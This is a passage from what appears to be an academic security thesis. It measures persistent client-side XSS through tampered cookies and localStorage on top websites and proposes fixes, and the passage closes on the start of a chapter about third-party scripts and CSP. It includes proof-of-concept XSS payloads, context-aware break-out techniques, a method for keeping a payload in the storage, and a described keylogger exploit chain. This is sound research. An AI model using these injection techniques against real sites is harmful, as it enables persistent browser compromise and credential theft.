then be ’;alert(1);//, which would be substituted in the URL, assuming the case
of a reflected XSS (not shown in the example), instead of the value that was part of the
original data flow.

We utilize a similar mechanism that relies on these three components, yet, we refine
their approaches to work in the domain of persistent client-side XSS. We find that their
approach is too aggressive in terms of breakout-out sequences and overly simplistic
in terms of break-in sequences, particularly when we take the character restrictions
of cookies into account. Additionally, a simple string replacement strategy fails when
developers store structured data in their local stores.

We, therefore, extend these approaches with a context-aware break-out and break-in
sequence, an improved replacement strategy, and a fuzzy matching approach to finding
the storage item that overcomes the aforementioned imprecisions introduced by the
taint engine when considering persistent storage mechanisms as sources.

6.2.2.1 Context-Aware Break-Out/Break-In

With the exploit generation techniques presented in earlier research, a candidate exploit
value would be ’;alert(1);// for the example provided in Figure 6.4. Yet, this code
snippet retrieves the value from a cookie, for which the semicolon acts as a delimiter.
This renders the generated payload ineffective, as the malicious behavior is no longer
part of the cookie’s value. Once substituted, this payload would even produce an error
at runtime instead of executing the malicious functionality.

However, there is, in fact, no need to completely break-out of the assignment
statement in the first place. Our exploit generation does not terminate any statements;
instead, it abuses the fact that we can divert this assignment to be assigning an expression
rather than a string literal. More concretely, the payload of ’ + alert(1) + ’,
concatenates two strings and the output of our malicious code together before assigning
it to the user variable. These kinds of sequences abuse the fact that JavaScript can be
coerced into concatenating mismatching types by transforming all participating values
to their string representations. In this case, alert(1) again serves as a placeholder
for any malicious payload, which we can represent as an expression. A prominent way
of encoding arbitrary JavaScript, which might need to use the semicolon, is to use
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1 // Local Storage userinfo originally contains {"id":"test123"}
2 var userinfo = JSON.parse(localStorage.getItem("userInfo"));
3 document.write('<a href="/profile/' + userinfo["id"] + '">Profile</a>');

Figure 6.6: Example of Exploit Generation, involving Use of JSON.parse before Sink
Access

eval together with a base64 encoded payload, which is decoded before calling eval as
shown in Figure 6.5. Therefore, our proof of concept payloads can always be substituted
with arbitrary malicious code without the need to consider any other form of input
restrictions, as is the case for cookie exploits.

6.2.2.2 Improved Replacement Strategy

Our second improvement consists of an improved replacement strategy that considers
that the client-side storage mechanisms can be used to store structured data. To
illustrate, consider the example shown in Figure 6.6. Here, the stored entry is in
JSON format, which the application parses using the JSON.parse browser built-in.
Subsequently, parts of this JSON data is used in a dangerous call to the document.write
function, which an attacker can abuse to introduce arbitrary HTML code. Using the
engine, we would now find a data flow of the value test123 into the respective sink and
would try to substitute this with a payload as generated by our improved context-aware
break-in and break-out sequences, which would be "><script>alert(1)</script>.
Previous approaches [67, 77] would substitute the observed value of test123 with our
generated payload. However, this does not suffice for our use case, as it would break the
JSON structure due to the double quotes, which are used to contain the string value
that we want to tamper with. This substitution would lead to a runtime error when the
application next tries to parse the value using JSON.parse.

Therefore, we infer if the stored values are stored in JSON-like format and, if so,
correctly serialize the data before performing our substitution on the concrete objects.
Similarly, we check for other means of encoding data, e.g., using built-in functions such
as encodeURI or escape, before substituting our payloads into the stored values.

6.2.2.3 Fuzzy Matching

One inherent trait of locally stored values that we encountered in our investigation is
that the application regularly modifies them at runtime. As our flow collection observes
the data flows at runtime, their values might differ from those we collect at the end of a
visit to a page when snapshotting all storage entries. Thus, our mechanism that identifies
the corresponding storage entries needs to account for such behavior. Figure 6.7 depicts
an example that we could observe in the wild. Here, the application uses eval to parse
a JSON string stored in local storage. The taint engine that we use would record that
the input to eval would be the string {"visits":1}, yet, the application updates
the counter and stores its updated version in the storage mechanism. Thus, we would
collect the storage entry {"visits":2}, which would not directly coincide with the
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1 // Local Storage visitinfo originally contains {"visits":1}
2 var visitinfo = eval(localStorage.getItem("visitinfo"));
3 visitinfo["visits"] += 1;
4 localStorage.setItem("visitinfo", visitinfo);

Figure 6.7: Example of Fuzzy Matching of Storage Elements

observed data flow. To mitigate these issues in this particular instance, but also with
similar patterns, when there is no direct match of the value in any of the collected
storage entries, we check if the value is, in fact, a serialized object and if so, check if we
can find any other serialized object that shares the same keys. This abuses the fact that
the structure remains the same, while individual values might change. If we find an
overlap in their respective keys, we can use the corresponding entry in our replacement
step for the exploit candidate.

6.2.3 Determining Exploitability

Up until now, we have discussed how we can generate exploit candidates based on the
observed data flows. One of our candidates consists of the potentially vulnerable URL
that we could find the data flow on, the respective storage mechanism (either local
storage or cookies), the storage key, and the candidate value that we should substitute
as the value of this key as produced by our improved exploit generation techniques.
To determine how many exploitable flows exist from a tampered storage that lead
to code execution in the pages, we visit all of our generated exploit candidates with
an un-instrumented browser. Every visit to one of the vulnerable pages spins up a
fresh browsing instance, with no prior storage entries to prevent side-effects from our
continuous checks of various exploit candidates potentially on the same page. Our
crawler visits the vulnerable page, waits for the page to load, and injects the candidate
value into the respective storage mechanism after two seconds. This is followed by a
complete reload of the page under test to see if our planted payload indeed exhibits
malicious behavior and to verify that the application does not overwrite our stored
values before using them in a potentially dangerous sink call. Our malicious behavior,
as injected in our exploit generation scheme, consists of a call to a secret function that
we intercept with our crawling scripts.

As we have seen in an earlier example in Figure 6.7, applications tend to update
their stored values which, assuming the application uses fixed values, could overwrite
our payload. Similarly, a cookie set via the Set-Cookie header might overwrite our
planted cookie before it is misused in the application. Yet, if we observe that after a
reload, our payload triggered, we can be confident that this constitutes a persistent
client-side XSS, as no update happened prior to the vulnerable data flow. Furthermore,
with this code execution an attacker would be able to block any subsequent assignment
to the storage entry in question by hooking the setItem and removeItem methods
of local storage, as well as modifying the setter in the case of document.cookie via
the Object.defineProperty [84].
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This validation routine allows us to ascertain which sites would be vulnerable to an
attacker that can arbitrarily manipulate storage mechanisms. Yet, this does not shed
light on any of our more moderate attacker models. Thus, we now outline how we can
check if these sites would be exploitable by our network and Web attacker, respectively.

6.2.3.1 Network Attacker

In general, we consider any site that is accessible via HTTP as vulnerable to our network
attacker. In these cases, the attacker is free to tamper with any storage entry, which
is also used in the victim’s browser when visiting the HTTP page. Yet, we discussed
that HTTPS deployments hamper the exploitation of local storage flows as an attacker
cannot tamper with the local storage of secure origins. However, suppose the HSTS
header is missing, or the HSTS deployment lacks the includeSubDomains flag. In
that case, we consider the site to be vulnerable to a persistent client-side XSS that
happens over tampered cookies. In case of a sound HSTS deployment, either via the
header or via the HSTS preload list [26], we assume that an attacker is unable to tamper
with cookies, thus, consider flows on such sites as not exploitable under the scenario of
a network attacker.

6.2.3.2 Web Adversary

We consider two scenarios in which a Web attacker can tamper with the storage entries
of their victims.

First, we use the techniques presented by prior work [67, 77] to generate exploit
candidates for reflected client-side XSS vulnerabilities, which we subsequently validated
in a modern browser similar to our persistent exploit validation scheme.

Second, using the taint engine, we record all flows that originate from the URL
and end up in either local storage or document.cookies. We first check whether the
accessed storage entry key matches any of our exploitable persistent client-side XSS as
observed under the more potent attacker model. We then visit the URL that contains
the flow from the URL to the storage entry with the value substituted with our validated
payload. We then check if visiting the site with the flow from the storage mechanism to
the dangerous sink triggers our already observed vulnerable data flow and confirm the
end-to-end exploitability if our hidden function was called.

Under both of these threat scenarios, we need to consider that we need an infection
vector in the exact origin for a local storage flow. In the case of a cookie flow, we can
also abuse an infection vector on a subdomain.

6.3 Empirical Study

In the following, we report on our analysis of the top 5,000 Alexa sites as of the 28th of
April 2018. We used our pipeline to visit up to 1000 sub-pages with a maximum depth
of two in a breadth-first manner. Overall, we visited 3,078,360 pages over the course of
two days, during which we encountered a total of 12,489,576 frames.
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URL Sources Cookie Source Local Storage Source
Sink Total Plain Fraction Total Plain Fraction Total Plain Fraction
HTML 11,388,607 10,161,040 89.2% 555,323 382,608 68.9% 2,180,680 2,149,839 98.6%
JavaScript 77,360 54,910 71.0% 535,047 522,205 97.6% 635,843 635,798 100.0%
Script Source 4,252,532 640,977 15.1% 1,458,687 256,034 17.6% 377,626 103,418 27.4%

Cookie 922,761 621,695 67.4% 31,391,553 12,615,945 40.2% 732,407 461,334 63.0%
Local Storage 890,808 878,139 98.6% 2,000,863 1,932,335 96.6% 66,635,820 66,175,494 99.3%

Table 6.1: Flow overview, showing how many data parts originated from sources
(columns), ending in the sinks of interest (rows). Besides the total number of flows,
it shows the absolute and relative number of flows which are not encoded.

6.3.1 Collected Data Flows

Table 6.1 depicts the total number of flows that end in a sink that is relevant for our
analysis, as recorded by the engine. Each combination of sources and sinks highlights
the total number of recorded flows and the number of flows that are not encoded using
any of the native JavaScript encoding functions (denoted as Plain). We confirm the
observation of prior work [67, 77] that the majority of flows from the URL that end up
in HTML or JavaScript sinks, i.e., between 71% and 89%, are not encoded, leaving the
sites at risk of inadvertently introducing a reflected client-side XSS. Similarly, we see
that between 69% to 98% of flows stemming from cookies are not encoded with such
functions. On the side of local storage flows, we see that close to all flows do not apply
any of these encodings, highlighting the developers’ inherent trust in such values.

Contrastingly, we see that tainted values used in the context of the source URL of a
script tend to be encoded in a majority of our recorded flows. A closer examination of
this pattern unveils that the values from the URL are used as query parameters in the
inclusion of these scripts, for which the encodeURIComponent encoding function is
used. This merely ensures that the information is correctly sent to the server, but it is
not the only reason why an attacker cannot exploit such flows. More importantly, only
controlling the query parameter does not directly allow the attacker to point the script
to a resource under their control.

Besides flows directly ending in exploitable sinks, we find around 1.8 M flows that
start from the URL and end in either one of our storage mechanisms. Additionally, we
find various intra-storage flows, which can be partially attributed to the application
updating specific key/value pairs at runtime. However, we can also find inter-storage
flows, with around 2M flows that originate from cookies and end up in local storage,
and another 732,407 flows that stem from local storage and end up in a cookie.

Note that the numbers presented in the above table are absolute and do not consider
any notion of uniqueness for any flow. To determine what constitutes a unique flow is
very challenging and prior work resorted to the combination of sink, domain, and code
location for the sink access. Yet, this tuple falls short in several regards, most notably
when the application uses library function such as the prominent jQuery.html function.
All flows ending in this wrapper functionality would be considered the same, which does
not hold in most cases. Therefore, we opt to report absolute numbers.
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Cookie Local Storage
Sink Total Plain Expl. Total Plain Expl.
HTML 496 319 132 234 226 105
JavaScript 547 470 72 392 385 108
Script Src 1,385 533 17 626 297 11
Total 1,645 906 213 941 654 222

Table 6.2: Number of domains which make use of a Cookie/Storage value in a sink
(“Total”), on which at least one of these flows is unencoded (“Plain”), and on which an
attacker could theoretically exploit such a flow (“Expl.”).

6.3.2 Exploitable Flows from Persistent Storage

Besides the number of individual flows, we are interested in the number of domains
that have interesting flows that an attacker might be able to abuse and how many
are actually exploitable. An overview of these flows can be found in Table 6.2, which
highlights how many domains had some flow from either cookies or local storage to any
of our sinks, as well as the number of domains that exhibited unencoded flows and the
number of exploitable domains. The total number of domains does not represent the
sum of all different sink accesses, as any domain might exhibit multiple different flows.

In total, we find that 1,946 domains of the 5,000 domains that we investigated make
use of a persisted value in an access to one of the sinks that we considered. More
specifically, 1,645 have flows originating from cookies, whereas 941 domains have flows
that originate from local storage. As some of these domains employ encoding on their
flows, we focus on the 906 domains with cookie flows and 654 domains with local storage
flows that are not encoded. Overall, these account for 1,324 domains of the initial 5000
domains in our data set.

The number of exploitable flows as presented in Table 6.2, highlights the number of
domains for which we could validate one of our generated exploit candidates. We only
consider sites to be exploitable after the page was reloaded and the malicious payload
triggered our hidden report function, which means that we do not introduce any false
positives in this analysis. Overall, we find that an attacker capable of manipulating
arbitrary storage entries would be able to exploit a persistent client-side XSS in 418 of
the 1,324 domains that we consider. Note that some sites carry both a local storage
and a cookie flow, which means that the sum of the exploitable domains in the table
amounts to a higher number.

For those exploitable flows that end in HTML sinks, we find 132 of the 319 domains
with unencoded flows were exploitable for cookies. An additional 105 of 226 domains
were exploitable for local storage. This means that 40-46% of domains that we considered
were, in fact, susceptible to an exploitable flow. This high ratio of every other page
does not hold up for the other sinks that we investigated. For JavaScript sinks, we
find that 72 of the 470 cookie domains and 108 of the 385 domains for local storage
were vulnerable, which amounts to 15% and 28% respectively. In total, we find that
the fraction of vulnerable flows is higher for local storage compared to cookies. Manual
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investigation of some of our exploit candidates that we could not validate for cookies
unveils that we frequently trigger Web Application Firewalls, as the cookies are sent to
the server with every request. Once we planted our payload in the cookies, the Web
Application Firewalls would redirect our crawlers to a static error page, which would
not carry the vulnerable flow. While we assume that the Web Application Firewalls
can be circumvented, we did not pursue any automated means of doing so and instead
focus on those sites for which we could automatically validate our exploits.

Additionally to the cases where flows are no longer present, there exist instances
in which our payload diverts control flow or in which our payload is rendered inept
after the application performs a sanitization step. Yet, we want to highlight that for
both HTML and JavaScript sinks, more than half of the investigated domains could
be exploited, which indicates that little care is put into verifying the integrity of such
values.

As for the number of exploitable flows that end in assignments to the source property
of scripts, we see that merely 3% of our considered domains are exploitable. Manual
analysis unveiled that the attacker can only control the HTTP parameters in most cases,
which leaves them no room to point the resource to a server under their control. When
examining the 28 exploitable cases, we found that the storage entry always contained a
hostname used to load further scripting resources from.

Overall, we show that more than 8% of the top 5,000 domains are susceptible to a
persistent client-side XSS assuming an attacker is capable of arbitrarily tampering with
the storage entries. If we consider that only 1,946 domains make even use of such data in
the context of these sinks, this amounts to a total of 21% of those being vulnerable. Also,
we have seen cases where Web Application Firewalls hinder our automated validation
scheme, which would not necessarily impede a sophisticated attacker. Additionally, our
observed data flows are limited to the public portion of the Web, meaning that they
cannot find any data flows that are only visible for logged-in users. Thus, we consider
our reported numbers to be lower bounds of the actual threat of such flows.

6.3.3 End-to-End Exploitation

Until now, we have discussed an attacker that can perform arbitrary changes to local
storage and cookie values. However, we want to check how many of these flaws can be
exploited by the attacker models that we consider.

For the network attacker, we found that 293 of the 418 domains would be exploitable.
This is either because these domains completely lacked HTTPS adoption, missed the
HSTS header, or misconfigured HSTS by omitting the includeSubDomains flag. For
the 213 domains that had exploitable cookie flows, we found that 86 used HTTPS, and
only 29 deployed HSTS. Out of those, merely 9 deployed the includeSubDomains
flags, thus, would not be susceptible to infections via the network attacker. This leaves
89 of the 293 domains that are HTTP domains, for which an attacker can poison the
HTTP version of the local storage.

Our first avenue for the Web attacker consists of flows that stem from the URL and
end up in one of the storage entries. Additionally, we require that the same key would
be used in another flow to a dangerous sink. Overall, merely 20 domains exhibited such
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two flows, for which none could be exploited for three different reasons. First, some
flows used parameters in the URL query, which would lead to 404 pages when tampered
with. Second, the host part of the domain was used in the assignment to a cookie’s
Domain property. Neither can the attacker change the hostname of the URL as this
would point to a different server, nor would influencing the Domain property of a cookie
allow the attacker to plant their payload. Lastly, we have seen cases in which the URL
was sanitized so that our payload could not be injected properly into the storage while
remaining functional.

While the first avenue for the Web attacker did not reveal any end-to-end exploitable
flaws, we show that attackers can frequently persist their code execution gained via a
reflected XSS with one of the persistent client-side XSS flaws that we could unravel.
Using the techniques of Lekies et al. [67] and Melicher et al. [77], we find 468 domains
that carry a reflected client-side XSS. We find that on 65 of the 418 domains with
persistent client-side XSS vulnerabilities, we can use a reflected XSS to plant the
persistent payload. Yet, this number needs to be treated as a lower bound, as our efforts
were restricted on abusing reflected client-side XSS, which does not consider other
vectors such as server-side XSS or postMessage based XSS. Also, a site only needs to be
vulnerable to an XSS once, which allows an attacker to plant the payload persistently,
which means that a single snapshot cannot capture if other sites could be exploited in
an end-to-end fashion in the future.

To wrap up our analysis on the prevalence of persistent client-side XSS, we were
able to show that a considerable amount of high profile websites carry both a reflected
and persistent client-side XSS, allowing an attacker to gain a permanent foothold in the
victim’s browser by a mere visit of a malicious Web page. Additionally, we showed a
potent network adversary (as considered by similar works [110, 145, 41]), capable of
injecting arbitrary packets into unencrypted HTTP traffic, would be able to persistently
abuse 6% of the most frequent sites.

6.3.4 Case Study

We found the single sign-on provider of a major Chinese website network to carry an end-
to-end exploitable persistent client-side XSS using the Web attacker. The authentication
cookies of this provider were protected via HTTPOnly, which means that the attacker
cannot easily steal any credentials. Abusing the persistent client-side XSS, the attacker
can plant a keylogger and steal the credentials when the user would next perform their
normal login to the single sign-on provider. We built a proof of concept exploit chain
that exfiltrates the user’s credentials even after they completely closed their browser,
highlighting the dangers of persistently planted payloads in the victim’s browser.

We now turn to analyze the use cases that these applications implemented for which
they use persisted data and discuss recommendations on how they can be implemented
without inadvertently allowing attackers to compromise Web applications over prolonged
periods.
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6.4 Resolving Problematic Coding Patterns

In the following section, we discuss classes of use-cases that developers intended to
incorporate into their page, in which they inadvertently introduced a persistent client-
side XSS. We address those use-cases by proposing feature equivalent implementations
that can be employed by the developers to rid their application of the issues that we
could uncover. Even though the exact circumstances are very diverse and application-
specific, we manage to distinguish between four types of use cases in which applications
use persisted data in dangerous sinks. These are the storage of unstructured data, the
storage of structured data, storage of code, and storage of configuration information.

6.4.1 Storage of Unstructured Data

In 214 of our vulnerable sites, we found that the application stored information that
had no inherent structure. Essentially, they retrieved textual data from the storage
mechanism and proceeded to use them in the context of dangerous sinks that allow an
attacker to include their code. In those scenarios, where the application neither relies
on this data to contain HTML or JavaScript code, an appropriate mitigation strategy
would be context-aware sanitization [67, 77], which applies the appropriate encoding for
the point of injection and therefore renders any payload inept.

6.4.2 Storage of Structured Data

Naturally, we could also find cases in which the application stored structured data in
the form of JSON-like serialized objects. Unfortunately, the application uses eval
instead of the secure counterpart of JSON.parse to deserialize those stored values.
This pattern dates back to the days in which browser support for JSON format still
lacked [35], yet it can easily be fixed by using correct JSON syntax and making use of
the secure browser built-in functions.

A total of 81 vulnerable domains in our dataset could be fixed by using JSON.parse.
However, using eval to parse JSON-like structures is more lenient, e.g., allowing single
ticks instead of double ticks to be used. This leniency prevents 27 domains from directly
adopting the safer alternative of the built-in browser function JSON.parse, which
means they need to first apply proper JSON encoding before being able to remove
their calls to eval. Naturally, the application could also deploy a custom parser that
accounts for this more lenient syntactical structure, which would not necessitate an
update of the stored values.

6.4.3 Storage of Code

In those cases where the applications stored either HTML or JavaScript code, which
might be used for client-side caching, addressing the underlying security issue while
allowing benign functionality requires more elaborate fixes. Merely sanitizing the values
would remove the vulnerability, yet benign functionality would be removed from the page.
Additionally to this complexity, we found various instances in which those flows are
introduced over third-party libraries, with the most prevalent libraries stemming from
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Cloudflare and Criteo. We can categorize the use case of client-side code caching into
three categories, i.e., storage of JavaScript code, storage of HTML without JavaScript,
and storage of HTML/JS-mix, which we address individually in the following.

6.4.3.1 JavaScript Code

We found that 90 sites stored JavaScript code in their storage mechanisms that was
directly passed to eval on each page load. Most of these stored JavaScript snippets
consist of JavaScript libraries, most probably intended to speed up page loading time.
One prominent example that we could find is Cloudflare’s Rocketloader [27], which
introduced vulnerabilities in 33 sites. Here, the library function ensures that external
scripts marked with a custom media type are stored in local storage individually. The
custom media type ensures that the browser does not fetch the script independently,
allowing the library to fetch, cache, and execute the scripts while evading any browser-
based caching mechanism that would usually be applied. An attacker can substitute
one of the cache library versions with their malicious payload, as the Rocketloader does
not validate the integrity of the stored values before execution.

To allow for this pattern to be realized in sites without the introduction of vul-
nerabilities, we need to assert that the source of a particular code piece stored on the
client-side is the application’s developer. If the expected code is static, this can be
achieved with an allow list storing all expected library script hashes, or if the code is
dynamic, storing the code alongside a cryptographic signature issued by the developer.
The application can then verify at runtime that the code matches the signature and
that the signature comes from the developer using the public portion of the keypair.
However, it is crucial for both of these solutions that the allowlist and the public part
of the keypair are not tamperable by an attacker. In particular, those should not be
retrieved from any client-side storage mechanism and instead should be hardcoded in
the script that performs the client-side code caching.

6.4.3.2 HTML

In terms of stored HTML code, we found eleven sites that stored HTML that did
not contain any scripting resource, either inline event handlers or script tags, such
that a developer can employ a sanitization routine removing any scripting resource.
The developer might either resort to techniques as presented by Ter Louw et al. [120],
or make use of popular client-side HTML sanitizers such as DOMPurify [45]. These
techniques ensure that only benign markup is allowed and can be used to strip all
dangerous constructs from the stored value before passing it to the HTML engine.

6.4.3.3 HTML/JavaScript Mix

Lastly, five sites stored HTML code that contained either script tags or inline event
handler. It is impossible to propose an appropriate fix in such cases, as deciding if a
particular piece of code is controlled by an attacker is infeasible. While we could envision
a similar approach to the one proposed for pure JavaScript resources, introducing this
for every event handler and script tag found in those HTML strings is a tedious task
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1 var hostname = localStorage.getItem("hostname");
2 var script = document.createElement("script");
3 script.src = hostname + "foo.js";
4 document.body.appendChild(script);

Figure 6.8: Example Vulnerability involving a Stored Hostname

compared to one hash or signature per storage entry. In such cases, we propose that
those sites remove the dangerous practice altogether.

6.4.4 Storage of Configuration Information

As the last category of use cases, we found that applications frequently store hostnames
in the client-side storage mechanism, accounting for 28 vulnerable sites. They used
those hostnames to include further scripting resources, as shown in Figure 6.8. This case
appears to hold client-side configurations to, e.g., implement client-side load balancing.
As we expect the number of valid configuration options to be sufficiently small, we can
again employ an allowlist of values, specifically hostnames, that are allowed to be used
in such inclusions.

In one specific instance, i.e., Google’s Firebase library, when using its Realtime
Database Feature [37], the code snippet periodically fetches and executes a script
from a host stored in local storage. For all stored values that we could associate with
the Firebase library, we found that they were always requesting those scripts from
subdomains of firebaseio.com, which means that the developers can check if the
eTLD+1 is allow listed before including the script.

6.4.5 Platform-level Defenses

The dangers associated with persistent malicious payloads on the client-side have already
been acknowledged in our community. With the Clear-Site-Data response header
[142], developers can instruct the browser of their visitors to remove any data stored on
the client-side altogether. Importantly, this header also allows the developer to shut
down all currently running JavaScript execution contexts to prevent a malicious payload
already running inside their page to re-poison the storage mechanism after the mechanism
purged it. On a similar note, a security-aware user can clear their complete browsing
profile, which achieves the same result as making use of the Clear-Site-Data header.
Yet, using such mechanisms eradicates all the benefits gained by client-side caches and
data stored in cookies or the local storage.

Orthogonal approaches accidentally restrict the infection vectors that our attacker
models abuse. One approach named Origin Cookies presented by Bortz et al. [15],
propose strict bindings of cookies to origins. Given appropriate deployment, this would
heavily restrict our network attacker’s capabilities in setting cookies that are valid for
sites using HTTPS deployments. Similarly, an attacker would now need to have an XSS
in the exact origin to persist their XSS using cookies, as was already the case for local
storage. Yet, Origin Cookies are not implemented by browsers, which instead favor
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prefixed cookies [141]. Prefixed cookies require to be set on HTTPS origins and cannot
make use of the Domain attribute. This inherently binds them to a fixed hostname
such that subdomains are not able to compromise their parent domains. Out of all the
cookies that we collected, only two domains used such prefixed cookies at all (neither of
these cookies interfered with our attacks).

Another approach revolves around the concept of Suborigins [139], which promises
a fine-grained origin construct that allows isolating different parts of an application
that are hosted on the same domain and would thus coincide in their origin. Using
such suborigins would prevent an XSS attacker from poisoning the local storage of
another Suborigin. Similarly, Trusted Types [135] are envisioned to tackle the problem
of client-side XSS altogether. They require developers to explicitly mark strings as
trusted, which happens in a central sanitization routine and disallow any string that
was not previously deemed trusted from being used in the dangerous DOM sinks. This
prevents developers from inadvertently introducing XSS on flows for which they only
ever intend data to be incorporated into the strings that they put into the dangerous
sinks.

6.5 Summary

In this chapter, we show that state manipulations, either via a Web or a network attacker,
carry grave consequences even in top sites. We study the threat of attacker-controllable
storage mechanisms, leveraging taint tracking and automated exploit generation tech-
niques adapted to the domain of client-side storage mechanisms. We show that 8%
of the 5,000 most popular sites carry an exploitable persistent client-side XSS under
the assumption that attackers can arbitrarily control the stored values. Furthermore,
we show that our considered attacker models are potent enough to achieve end-to-end
exploitable persistent client-side XSS on more than 70% of the sites that carry ex-
ploitable flows from persistency, allowing the attacker to gain a permanent foothold in
their victims browsers. Overall, we see that the trust in the integrity of locally stored
values is high, with one out of five application that use stored values in the context of
dangerous sinks actually being vulnerable. We highlight that in a majority of cases, the
intended use-cases can be implemented securely without loss of functionality.
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7.1. AN IMPROVED NOTION OF PARTIES IN THE WEB

We showed that attackers could abuse various emerging XSS vectors, which go
beyond the textbook flows stemming from the URL. Yet, with the Content Security
Policy, there exists a mitigation mechanism that would significantly reduce the impact
of such vulnerabilities provided secure policies are enforced. Unfortunately, related
research showed that deployments are very rare and even utterly insecure. We show that
the reliance on third-party JavaScript code necessitates such insecure policies, leaving
developers in a tough spot to deploy appropriate Content Security Policies that protect
against XSS without cooperation from their third parties.

To do so, we first discuss how we can distinguish between parties on the Web using
co-occurrence patterns in inclusions trees, allowing us to differentiate between first and
third parties and between different third parties. With this notion of code provenance,
we then turn to study the incompatible behavior with CSP deployments that are not
trivially bypassable.

7.1 An Improved Notion of Parties in the Web

In this section we discuss how we leverage co-occurence patterns extracted from Java-
Script inclusion trees to introduce the concept of an Extended Same Party. Also, we
discuss a more refined notion of trust disconnects that better captures the disconnect
between the first-party developer and any party that is included into their page.

7.1.1 Experiment Setup

As a first step to answering our research question, namely whether first parties can
simply change their own codebase to allow for seamless integration of the Content
Security Policy, we utilize the Tranco [100] list from January 13, 2020, to extract the
10,000 highest ranking sites.

We set out to analyze not only a single snapshot of the Web’s tangled nature, but
instead also investigate the rate of change observable throughout a prolonged period.
Therefore, we ran crawls once a week from January 13th through March 30th, 2020. For
each crawl, our crawlers visited the start pages from the fixed list and followed every
same-site link. To avoid influences of stale URLs, we repeat this process every time,
limiting ourselves to a maximum of 1,000 pages per site. On average, each crawl yielded
around 1 million URLs. For results that do not consider the longitudinal aspect of our
data collection, we report on the data gathered in our first crawl. Overall, we could
find that of the 10,000 Tranco entries, we could only analyze 8,389 by connecting to
the website by following the link http://entry. In 493 cases, we hit a timeout in our
crawling infrastructure. Besides sites that take too long to visit, we could find hints
that some sites behaved differently when crawling them from our analysis machines
compared to our home network. We expect that our public IP addresses used are
known to host crawlers, and we do not take specific measures to conceal our traffic as
human-generated. We were unable to connect to 603 entries because of network-level
issues, such as NXDOMAIN, connection refusals, or certificate errors. Another 515
sites redirected our crawler to another site, which we therefore also excluded from our
analysis. We can find 348 sites that do not include any scripting resources at all. Manual
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investigation showed the lack of scripting resources was mostly due to blank pages
(again likely as our IP is known as a crawler). Notably, we also found instances in which
websites refused us to access the real content, e.g., at https://www.radio.com,
which instead showed a static warning page indicating unavailability for our geolocation.
Ultimately, this leaves us with 8,041 sites with any script resource, which we consider
throughout our analyses.

7.1.2 Collecting Inclusion Relations

The first step in answering our research questions is the collection of real-world inclusions.
We build upon related research and collect inclusion trees [64] using puppeteer.

In essence, our inclusion collection mechanism relies on the Chrome Devtools Protocol,
however, as this mechanism was not implemented by the author of this thesis we only
provide a high-level explanation of the technicalities that allow us to collect inclusion
relations with the associated stacktraces for completeness. We collect the asynchronous
stack traces on each inclusion of another script using functionality hooking for inline
scripts and observations of initiator relations on external scripts.

With this mechanism in place, we can analyze the collected stacktraces to infer
the initiator of a specific inclusion relations in a post-processing step, in which we
generate the corresponding inclusion tree. Usually, one would tie the notion of an
inclusion’s initiator to the top-most entry of the call stack. However, modern libraries
present throughout the top sites provide asynchronous execution functionality, e.g.,
jQuery’s $(document).ready(callback). When called, jQuery stores the function
pointer to callback and retrieves and subsequently executes the function when the
document has finished loading. This delayed execution leads to the top of the stack
being jQuery; hence, any inclusion conducted by the callback function would incorrectly
be attributed to jQuery. In fact, artifacts1 published by Lauinger et al. [64] even
highlight cases in which the included jQuery script seemingly includes further inline
scripts. Manual analysis of all the libraries that we encountered in our analysis (as
classified by retire.js [91]) shows that no library by itself conducts further inclusions.
Provided with this observation, we assume the first non-library script contained in an
execution trace to be the actual initiator. Using this notion allows us to accurately infer
the culprits behind actions, i.e., inclusion relations and API usage, even in the case of
omnipresent libraries acting as confused deputies.

7.1.3 The Extended Same Party

With this precise inclusion information, we can now turn towards understanding which
hostnames actually belong to the same entity. This is necessary for two aspects of our
analyses, namely to differentiate between first and third party (to count how many sites
are affected by third parties) as well as to differentiate between different third parties
(to count how many third parties affect a given site). In addition, this enables us to
reason about delegations of trust, i.e., when a third party includes scripting content

1The jQuery in the lower-left corner at https://web.archive.org/web/20191226080648/
https://seclab.ccs.neu.edu/static/projects/javascript-libraries/causality-
trees/modernfarmer.com/

92

https://web.archive.org/web/20191226080648/https://seclab.ccs.neu.edu/static/projects/javascript-libraries/causality-trees/modernfarmer.com/
https://web.archive.org/web/20191226080648/https://seclab.ccs.neu.edu/static/projects/javascript-libraries/causality-trees/modernfarmer.com/
https://web.archive.org/web/20191226080648/https://seclab.ccs.neu.edu/static/projects/javascript-libraries/causality-trees/modernfarmer.com/


7.1. AN IMPROVED NOTION OF PARTIES IN THE WEB

from another third party, which is important to understand whether a direct business
relationship exists between a first and a third party. Related research [63] used the notion
of an eTLD+1 to differentiate between different parties; however, modern practices of
first-party CDN’s (e.g., facebook.com and fbcdn.net) or the logical separation of
content (e.g., doubleclick.net and googleadservices.com) highlight the need
for a refined notion that does not rely on domain labels alone.

Naturally, there is no ground-truth list of all domains belonging to a particular
entity. Still, there exists a curated list of domains belonging to the same entity [70, 72]
which is used as part of a tool named webXray [71]. Unfortunately, we could see that
those lists frequently miss connections among two hostnames, e.g., twitch.tv and
twitchcdn.net, which is to be expected as those lists are not explicitly crafted for
our dataset. Therefore, we need to mine our dataset for more of such connections to
attribute hostnames to entities accurately.

While clustering approaches based on TLS certificates or IP ranges appear meaningful
to achieve such a mapping, we experimentally determined that such approaches yield
high numbers of both false positive and negatives, e.g., through shared hosting (through
Cloudflare) as well as disjunct IP ranges for different domains of the same entity (such
newrelic.com and their CDN nr-data.net). We instead apply a semi-automatic
approach, which involves relying on the observed inclusion relations in the wild and is
complemented by a researcher validating all results manually. This way, our approach
does not yield false positives (in the sense of two eTLD+1s flagged as belonging to the
same party when, in fact, they are not). Naturally, any such empirical analysis yields
imprecisions. However, as we show in Section 7.2, the notion provides a much better
upper bound for the number of third parties included in websites compared to relying
on eTLD+1s.

As the first step, in uncovering further same-party domains, we look for eTLD+1s
that are commonly used together in inclusions, such as doubleclick.net and
googleadservices.com. Based on the crawl data from all our crawls (see Sec-
tion 7.1.1), we find combinations of two eTLD+1s with an inclusion relation on at least
10 sites. Based on this list of 908 combinations, we manually investigate their relation.
In several cases, this is trivial, such as the example mentioned above. In other cases,
this requires additional checks, such as for IP ranges of the involved domains, up to
the manual inspection of the sites themselves (e.g., their imprints). This enables us to
find pairs like cookielaw.org and onetrust.com, which are operated by the same
entity/party.

While the previously outlined approach allows us to find large CDN providers, it
does not yet allow us to find individual sites that have their own CDN. To find these,
we analyze our collected inclusions to see cases in which a first party (identified by its
eTLD+1) directly included content from a different eTLD+1 (the potential CDN). For
each potential CDN, we check if it is also used on any other site we analyzed and only
